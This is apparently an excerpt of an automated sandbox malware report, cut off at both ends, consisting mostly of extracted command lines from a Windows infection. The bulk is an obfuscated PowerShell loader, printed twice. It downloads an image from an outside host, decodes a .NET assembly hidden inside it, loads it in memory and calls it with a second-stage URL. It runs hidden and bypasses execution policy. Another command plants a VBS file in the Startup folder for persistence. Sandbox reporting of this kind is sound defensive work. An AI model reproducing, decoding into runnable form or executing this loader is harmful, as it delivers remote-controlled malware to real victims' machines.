'J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵VQBy⁂⇵Gw⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵JwBo⁂⇵HQ⁂⇵d⁂⇵Bw⁂⇵HM⁂⇵Og⁂⇵v⁂⇵C8⁂⇵dQBw⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵Z⁂⇵Bl⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBu⁂⇵HM⁂⇵LgBj⁂⇵G8⁂⇵bQ⁂⇵u⁂⇵GI⁂⇵cg⁂⇵v⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBz⁂⇵C8⁂⇵M⁂⇵⁂⇵w⁂⇵DQ⁂⇵Lw⁂⇵1⁂⇵DY⁂⇵Mw⁂⇵v⁂⇵DY⁂⇵Mg⁂⇵x⁂⇵C8⁂⇵bwBy⁂⇵Gk⁂⇵ZwBp⁂⇵G4⁂⇵YQBs⁂⇵C8⁂⇵dQBu⁂⇵Gk⁂⇵dgBl⁂⇵HI⁂⇵cwBv⁂⇵F8⁂⇵dgBi⁂⇵HM⁂⇵LgBq⁂⇵H⁂⇵⁂⇵ZQBn⁂⇵D8⁂⇵MQ⁂⇵2⁂⇵Dk⁂⇵M⁂⇵⁂⇵5⁂⇵DM⁂⇵MQ⁂⇵4⁂⇵DU⁂⇵NQ⁂⇵n⁂⇵Ds⁂⇵J⁂⇵B3⁂⇵GU⁂⇵YgBD⁂⇵Gw⁂⇵aQBl⁂⇵G4⁂⇵d⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵BO⁂⇵GU⁂⇵dw⁂⇵t⁂⇵E8⁂⇵YgBq⁂⇵GU⁂⇵YwB0⁂⇵C⁂⇵⁂⇵UwB5⁂⇵HM⁂⇵d⁂⇵Bl⁂⇵G0⁂⇵LgBO⁂⇵GU⁂⇵d⁂⇵⁂⇵u⁂⇵Fc⁂⇵ZQBi⁂⇵EM⁂⇵b⁂⇵Bp⁂⇵GU⁂⇵bgB0⁂⇵Ds⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵QgB5⁂⇵HQ⁂⇵ZQBz⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵dwBl⁂⇵GI⁂⇵QwBs⁂⇵Gk⁂⇵ZQBu⁂⇵HQ⁂⇵LgBE⁂⇵G8⁂⇵dwBu⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵R⁂⇵Bh⁂⇵HQ⁂⇵YQ⁂⇵o⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FU⁂⇵cgBs⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBU⁂⇵GU⁂⇵e⁂⇵B0⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Fs⁂⇵UwB5⁂⇵HM⁂⇵d⁂⇵Bl⁂⇵G0⁂⇵LgBU⁂⇵GU⁂⇵e⁂⇵B0⁂⇵C4⁂⇵RQBu⁂⇵GM⁂⇵bwBk⁂⇵Gk⁂⇵bgBn⁂⇵F0⁂⇵Og⁂⇵6⁂⇵FU⁂⇵V⁂⇵BG⁂⇵Dg⁂⇵LgBH⁂⇵GU⁂⇵d⁂⇵BT⁂⇵HQ⁂⇵cgBp⁂⇵G4⁂⇵Zw⁂⇵o⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵RgBs⁂⇵GE⁂⇵Zw⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵n⁂⇵Dw⁂⇵P⁂⇵BC⁂⇵EE⁂⇵UwBF⁂⇵DY⁂⇵N⁂⇵Bf⁂⇵FM⁂⇵V⁂⇵BB⁂⇵FI⁂⇵V⁂⇵⁂⇵+⁂⇵D4⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵ZQBu⁂⇵GQ⁂⇵RgBs⁂⇵GE⁂⇵Zw⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵n⁂⇵Dw⁂⇵P⁂⇵BC⁂⇵EE⁂⇵UwBF⁂⇵DY⁂⇵N⁂⇵Bf⁂⇵EU⁂⇵TgBE⁂⇵D4⁂⇵Pg⁂⇵n⁂⇵Ds⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵TwBm⁂⇵Cg⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵RgBs⁂⇵GE⁂⇵Zw⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵u⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵BP⁂⇵GY⁂⇵K⁂⇵⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵C0⁂⇵ZwBl⁂⇵C⁂⇵⁂⇵M⁂⇵⁂⇵g⁂⇵C0⁂⇵YQBu⁂⇵GQ⁂⇵I⁂⇵⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵C0⁂⇵ZwB0⁂⇵C⁂⇵⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵Ds⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵C⁂⇵⁂⇵Kw⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵RgBs⁂⇵GE⁂⇵Zw⁂⇵u⁂⇵Ew⁂⇵ZQBu⁂⇵Gc⁂⇵d⁂⇵Bo⁂⇵Ds⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵C0⁂⇵I⁂⇵⁂⇵k⁂⇵HM⁂⇵d⁂⇵Bh⁂⇵HI⁂⇵d⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵Ow⁂⇵k⁂⇵GI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵EM⁂⇵bwBt⁂⇵G0⁂⇵YQBu⁂⇵GQ⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵u⁂⇵FM⁂⇵dQBi⁂⇵HM⁂⇵d⁂⇵By⁂⇵Gk⁂⇵bgBn⁂⇵Cg⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵Cw⁂⇵I⁂⇵⁂⇵k⁂⇵GI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵Ew⁂⇵ZQBu⁂⇵Gc⁂⇵d⁂⇵Bo⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵GM⁂⇵bwBt⁂⇵G0⁂⇵YQBu⁂⇵GQ⁂⇵QgB5⁂⇵HQ⁂⇵ZQBz⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Fs⁂⇵UwB5⁂⇵HM⁂⇵d⁂⇵Bl⁂⇵G0⁂⇵LgBD⁂⇵G8⁂⇵bgB2⁂⇵GU⁂⇵cgB0⁂⇵F0⁂⇵Og⁂⇵6⁂⇵EY⁂⇵cgBv⁂⇵G0⁂⇵QgBh⁂⇵HM⁂⇵ZQ⁂⇵2⁂⇵DQ⁂⇵UwB0⁂⇵HI⁂⇵aQBu⁂⇵Gc⁂⇵K⁂⇵⁂⇵k⁂⇵GI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵EM⁂⇵bwBt⁂⇵G0⁂⇵YQBu⁂⇵GQ⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵b⁂⇵Bv⁂⇵GE⁂⇵Z⁂⇵Bl⁂⇵GQ⁂⇵QQBz⁂⇵HM⁂⇵ZQBt⁂⇵GI⁂⇵b⁂⇵B5⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Fs⁂⇵UwB5⁂⇵HM⁂⇵d⁂⇵Bl⁂⇵G0⁂⇵LgBS⁂⇵GU⁂⇵ZgBs⁂⇵GU⁂⇵YwB0⁂⇵Gk⁂⇵bwBu⁂⇵C4⁂⇵QQBz⁂⇵HM⁂⇵ZQBt⁂⇵GI⁂⇵b⁂⇵B5⁂⇵F0⁂⇵Og⁂⇵6⁂⇵Ew⁂⇵bwBh⁂⇵GQ⁂⇵K⁂⇵⁂⇵k⁂⇵GM⁂⇵bwBt⁂⇵G0⁂⇵YQBu⁂⇵GQ⁂⇵QgB5⁂⇵HQ⁂⇵ZQBz⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵HQ⁂⇵eQBw⁂⇵GU⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bs⁂⇵G8⁂⇵YQBk⁂⇵GU⁂⇵Z⁂⇵BB⁂⇵HM⁂⇵cwBl⁂⇵G0⁂⇵YgBs⁂⇵Hk⁂⇵LgBH⁂⇵GU⁂⇵d⁂⇵BU⁂⇵Hk⁂⇵c⁂⇵Bl⁂⇵Cg⁂⇵JwBG⁂⇵Gk⁂⇵YgBl⁂⇵HI⁂⇵LgBI⁂⇵G8⁂⇵bQBl⁂⇵Cc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵bQBl⁂⇵HQ⁂⇵a⁂⇵Bv⁂⇵GQ⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵B0⁂⇵Hk⁂⇵c⁂⇵Bl⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵TQBl⁂⇵HQ⁂⇵a⁂⇵Bv⁂⇵GQ⁂⇵K⁂⇵⁂⇵n⁂⇵FY⁂⇵QQBJ⁂⇵Cc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵YQBy⁂⇵Gc⁂⇵dQBt⁂⇵GU⁂⇵bgB0⁂⇵HM⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵L⁂⇵⁂⇵o⁂⇵Cc⁂⇵d⁂⇵B4⁂⇵HQ⁂⇵Lg⁂⇵y⁂⇵DM⁂⇵N⁂⇵Bk⁂⇵GU⁂⇵LwBs⁂⇵HQ⁂⇵Lw⁂⇵3⁂⇵DY⁂⇵MQ⁂⇵u⁂⇵DE⁂⇵Ng⁂⇵x⁂⇵C4⁂⇵Ng⁂⇵1⁂⇵DE⁂⇵Lg⁂⇵0⁂⇵Dk⁂⇵Lw⁂⇵v⁂⇵Do⁂⇵c⁂⇵B0⁂⇵HQ⁂⇵a⁂⇵⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C4⁂⇵SQBu⁂⇵HY⁂⇵bwBr⁂⇵GU⁂⇵K⁂⇵⁂⇵k⁂⇵G4⁂⇵dQBs⁂⇵Gw⁂⇵L⁂⇵⁂⇵g⁂⇵CQ⁂⇵YQBy⁂⇵Gc⁂⇵dQBt⁂⇵GU⁂⇵bgB0⁂⇵HM⁂⇵KQ⁂⇵=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂⇵','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD......." in [Source : powershell.exe]43:T1d6a,Observed system executable string:"/C:\ PROGRA~3 MICROS~1 WindowsSTARTM~1:((*ProgramsACCESS~1WINDOW~1:''*WINDOW~2.LNKC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk1SPS1SPSzu9rvrlaeh/C:\ PROGRA~3 MICROS~1 WindowsSTARTM~1:((*ProgramsACCESS~1WINDOW~1:''*WINDOW~2.LNKC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk1SPS1SPSzu9rvrlaeh/C:\WindowsSystem32WINDOW~1v1.0>:B*powershell_ise.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exe1SPS1SPSzu9rvrlaeh/C:\Windowshh.exeC:\Windows\hh.exe%systemroot%\hh.exe1SPS1SPSzu9rvrlaeh" [Source: 2GCCVNZ2PP8EM6FBGKA2.temp] Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00003484-00000C41-5590335479] Observed system executable string:""%WINDIR%\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\ESL.vbs' 'C:\Use" [Source: 00000000-00003484-00000C41-5590335479], Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00003484-00000C41-24873840741], Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J" [Source: 00000000-00003484-00000C41-24873840741], Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00001844-00000C41-1985859846], Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00002164-00000C28-4823942561], Observed system executable string:"%WINDIR%\system32\powershell.exe" [Source: 00000000-00001544-00000C28-16878717187], Observed system executable string:"%WINDIR%\system32\powershell.exe.ps1" [Source: 00000000-00001544-00000C28-16880069335], Observed system executable string:"%WINDIR%\system32\powershell.exe.psm1" [Source: 00000000-00001544-00000C28-16881389343], Observed system executable string:"%WINDIR%\system32\powershell.exe.psd1" [Source: 00000000-00001544-00000C28-16882731085], Observed system executable string:"%WINDIR%\system32\powershell.exe.COM" [Source: 00000000-00001544-00000C28-16884075061], Observed system executable string:"%WINDIR%\system32\powershell.exe.EXE" [Source: 00000000-00001544-00000C28-16885557049], Observed system executable string:"%WINDIR%\system32\powershell.exe.BAT" [Source: 00000000-00001544-00000C28-16886956883], Observed system executable string:"%WINDIR%\system32\powershell.exe.CMD" [Source: 00000000-00001544-00000C28-16888404631], Observed system executable string:"%WINDIR%\system32\powershell.exe.VBS" [Source: 00000000-00001544-00000C28-16889807063], Observed system executable string:"%WINDIR%\system32\powershell.exe.VBE" [Source: 00000000-00001544-00000C28-16891243891], Observed system executable string:"%WINDIR%\system32\powershell.exe.JS" [Source: 00000000-00001544-00000C28-16892963755], Observed system executable string:"%WINDIR%\system32\powershell.exe.JSE" [Source: 00000000-00001544-00000C28-16894375769], Observed system executable string:"%WINDIR%\system32\powershell.exe.WSF" [Source: 00000000-00001544-00000C28-16895874679], Observed system executable string:"%WINDIR%\system32\powershell.exe.WSH" [Source: 00000000-00001544-00000C28-16897270389], Observed system executable string:"%WINDIR%\system32\powershell.exe.MSC" [Source: 00000000-00001544-00000C28-16898897445], Observed system executable string:"%WINDIR%\powershell.exe" [Source: 00000000-00001544-00000C28-16900242113], Observed system executable string:"%WINDIR%\powershell.exe.ps1" [Source: 00000000-00001544-00000C28-16901666765], Observed system executable string:"%WINDIR%\powershell.exe.psm1" [Source: 00000000-00001544-00000C28-16903069901], Observed system executable string:"%WINDIR%\powershell.exe.psd1" [Source: 00000000-00001544-00000C28-16904501617], Observed system executable string:"%WINDIR%\powershell.exe.COM" [Source: 00000000-00001544-00000C28-16905936635], Observed system executable string:"%WINDIR%\powershell.exe.EXE" [Source: 00000000-00001544-00000C28-16907354983], Observed system executable string:"%WINDIR%\powershell.exe.BAT" [Source: 00000000-00001544-00000C28-16908737155], Observed system executable string:"%WINDIR%\powershell.exe.CMD" [Source: 00000000-00001544-00000C28-16910168815], Observed system executable string:"%WINDIR%\powershell.exe.VBS" [Source: 00000000-00001544-00000C28-16911867055], Observed system executable string:"%WINDIR%\powershell.exe.VBE" [Source: 00000000-00001544-00000C28-16913317935], Observed system executable string:"%WINDIR%\powershell.exe.JS" [Source: 00000000-00001544-00000C28-16914773871], Observed system executable string:"%WINDIR%\powershell.exe.JSE" [Source: 00000000-00001544-00000C28-16916189649], Observed system executable string:"%WINDIR%\powershell.exe.WSF" [Source: 00000000-00001544-00000C28-16917606963], Observed system executable string:"%WINDIR%\powershell.exe.WSH" [Source: 00000000-00001544-00000C28-16919007671], Observed system executable string:"%WINDIR%\powershell.exe.MSC" [Source: 00000000-00001544-00000C28-16920427129], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe" [Source: 00000000-00001544-00000C28-16921826825], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.ps1" [Source: 00000000-00001544-00000C28-16923284833], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.psm1" [Source: 00000000-00001544-00000C28-16924671459], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.psd1" [Source: 00000000-00001544-00000C28-16926107881], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.COM" [Source: 00000000-00001544-00000C28-16927508893], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.EXE" [Source: 00000000-00001544-00000C28-16928939569], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.BAT" [Source: 00000000-00001544-00000C28-16930639381], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.CMD" [Source: 00000000-00001544-00000C28-16932134327], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.VBS" [Source: 00000000-00001544-00000C28-16933574689], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.VBE" [Source: 00000000-00001544-00000C28-16935053533], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.JS" [Source: 00000000-00001544-00000C28-16936574799], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.JSE" [Source: 00000000-00001544-00000C28-16937935207], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.WSF" [Source: 00000000-00001544-00000C28-16939248607], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.WSH" [Source: 00000000-00001544-00000C28-16940600561], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.MSC" [Source: 00000000-00001544-00000C28-16941908275], Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imag" [Source: 00000000-00001544-00000C41-17207854595]44:T3128,Process "powershell.exe" with commandline "powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs')" (UID: 00000000-00002164) Process "powershell.exe" with commandline "-command $Codigo = 'J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5VQBy\u2042\u21f5Gw\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5JwBo\u2042\u21f5HQ\u2042\u21f5d\u2042\u21f5Bw\u2042\u21f5HM\u2042\u21f5Og\u2042\u21f5v\u2042\u21f5C8\u2042\u21f5dQBw\u2042\u21f5Gw\u2042\u21f5bwBh\u2042\u21f5GQ\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Gk\u2042\u21f5bQBh\u2042\u21f5Gc\u2042\u21f5ZQBu\u2042\u21f5HM\u2042\u21f5LgBj\u2042\u21f5G8\u2042\u21f5bQ\u2042\u21f5u\u2042\u21f5GI\u2042\u21f5cg\u2042\u21f5v\u2042\u21f5Gk\u2042\u21f5bQBh\u2042\u21f5Gc\u2042\u21f5ZQBz\u2042\u21f5C8\u2042\u21f5M\u2042\u21f5\u2042\u21f5w\u2042\u21f5DQ\u2042\u21f5Lw\u2042\u21f51\u2042\u21f5DY\u2042\u21f5Mw\u2042\u21f5v\u2042\u21f5DY\u2042\u21f5Mg\u2042\u21f5x\u2042\u21f5C8\u2042\u21f5bwBy\u2042\u21f5Gk\u2042\u21f5ZwBp\u2042\u21f5G4\u2042\u21f5YQBs\u2042\u21f5C8\u2042\u21f5dQBu\u2042\u21f5Gk\u2042\u21f5dgBl\u2042\u21f5HI\u2042\u21f5cwBv\u2042\u21f5F8\u2042\u21f5dgBi\u2042\u21f5HM\u2042\u21f5LgBq\u2042\u21f5H\u2042\u21f5\u2042\u21f5ZQBn\u2042\u21f5D8\u2042\u21f5MQ\u2042\u21f52\u2042\u21f5Dk\u2042\u21f5M\u2042\u21f5\u2042\u21f55\u2042\u21f5DM\u2042\u21f5MQ\u2042\u21f54\u2042\u21f5DU\u2042\u21f5NQ\u2042\u21f5n\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5B3\u2042\u21f5GU\u2042\u21f5YgBD\u2042\u21f5Gw\u2042\u21f5aQBl\u2042\u21f5G4\u2042\u21f5d\u2042\u21f5\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5BO\u2042\u21f5GU\u2042\u21f5dw\u2042\u21f5t\u2042\u21f5E8\u2042\u21f5YgBq\u2042\u21f5GU\u2042\u21f5YwB0\u2042\u21f5C\u2042\u21f5\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBO\u2042\u21f5GU\u2042\u21f5d\u2042\u21f5\u2042\u21f5u\u2042\u21f5Fc\u2042\u21f5ZQBi\u2042\u21f5EM\u2042\u21f5b\u2042\u21f5Bp\u2042\u21f5GU\u2042\u21f5bgB0\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5QgB5\u2042\u21f5HQ\u2042\u21f5ZQBz\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5CQ\u2042\u21f5dwBl\u2042\u21f5GI\u2042\u21f5QwBs\u2042\u21f5Gk\u2042\u21f5ZQBu\u2042\u21f5HQ\u2042\u21f5LgBE\u2042\u21f5G8\u2042\u21f5dwBu\u2042\u21f5Gw\u2042\u21f5bwBh\u2042\u21f5GQ\u2042\u21f5R\u2042\u21f5Bh\u2042\u21f5HQ\u2042\u21f5YQ\u2042\u21f5o\u2042\u21f5CQ\u2042\u21f5aQBt\u2042\u21f5GE\u2042\u21f5ZwBl\u2042\u21f5FU\u2042\u21f5cgBs\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5Gk\u2042\u21f5bQBh\u2042\u21f5Gc\u2042\u21f5ZQBU\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5B0\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5Fs\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBU\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5B0\u2042\u21f5C4\u2042\u21f5RQBu\u2042\u21f5GM\u2042\u21f5bwBk\u2042\u21f5Gk\u2042\u21f5bgBn\u2042\u21f5F0\u2042\u21f5Og\u2042\u21f56\u2042\u21f5FU\u2042\u21f5V\u2042\u21f5BG\u2042\u21f5Dg\u2042\u21f5LgBH\u2042\u21f5GU\u2042\u21f5d\u2042\u21f5BT\u2042\u21f5HQ\u2042\u21f5cgBp\u2042\u21f5G4\u2042\u21f5Zw\u2042\u21f5o\u2042\u21f5CQ\u2042\u21f5aQBt\u2042\u21f5GE\u2042\u21f5ZwBl\u2042\u21f5EI\u2042\u21f5eQB0\u2042\u21f5GU\u2042\u21f5cw\u2042\u21f5p\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5\u2042\u21f5n\u2042\u21f5Dw\u2042\u21f5P\u2042\u21f5BC\u2042\u21f5EE\u2042\u21f5UwBF\u2042\u21f5DY\u2042\u21f5N\u2042\u21f5Bf\u2042\u21f5FM\u2042\u21f5V\u2042\u21f5BB\u2042\u21f5FI\u2042\u21f5V\u2042\u21f5\u2042\u21f5+\u2042\u21f5D4\u2042\u21f5Jw\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5ZQBu\u2042\u21f5GQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5\u2042\u21f5n\u2042\u21f5Dw\u2042\u21f5P\u2042\u21f5BC\u2042\u21f5EE\u2042\u21f5UwBF\u2042\u21f5DY\u2042\u21f5N\u2042\u21f5Bf\u2042\u21f5EU\u2042\u21f5TgBE\u2042\u21f5D4\u2042\u21f5Pg\u2042\u21f5n\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5CQ\u2042\u21f5aQBt\u2042\u21f5GE\u2042\u21f5ZwBl\u2042\u21f5FQ\u2042\u21f5ZQB4\u2042\u21f5HQ\u2042\u21f5LgBJ\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5TwBm\u2042\u21f5Cg\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5p\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bl\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5BJ\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5V\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5d\u2042\u21f5\u2042\u21f5u\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5BP\u2042\u21f5GY\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5GU\u2042\u21f5bgBk\u2042\u21f5EY\u2042\u21f5b\u2042\u21f5Bh\u2042\u21f5Gc\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5cwB0\u2042\u21f5GE\u2042\u21f5cgB0\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5ZwBl\u2042\u21f5C\u2042\u21f5\u2042\u21f5M\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5GU\u2042\u21f5bgBk\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5ZwB0\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\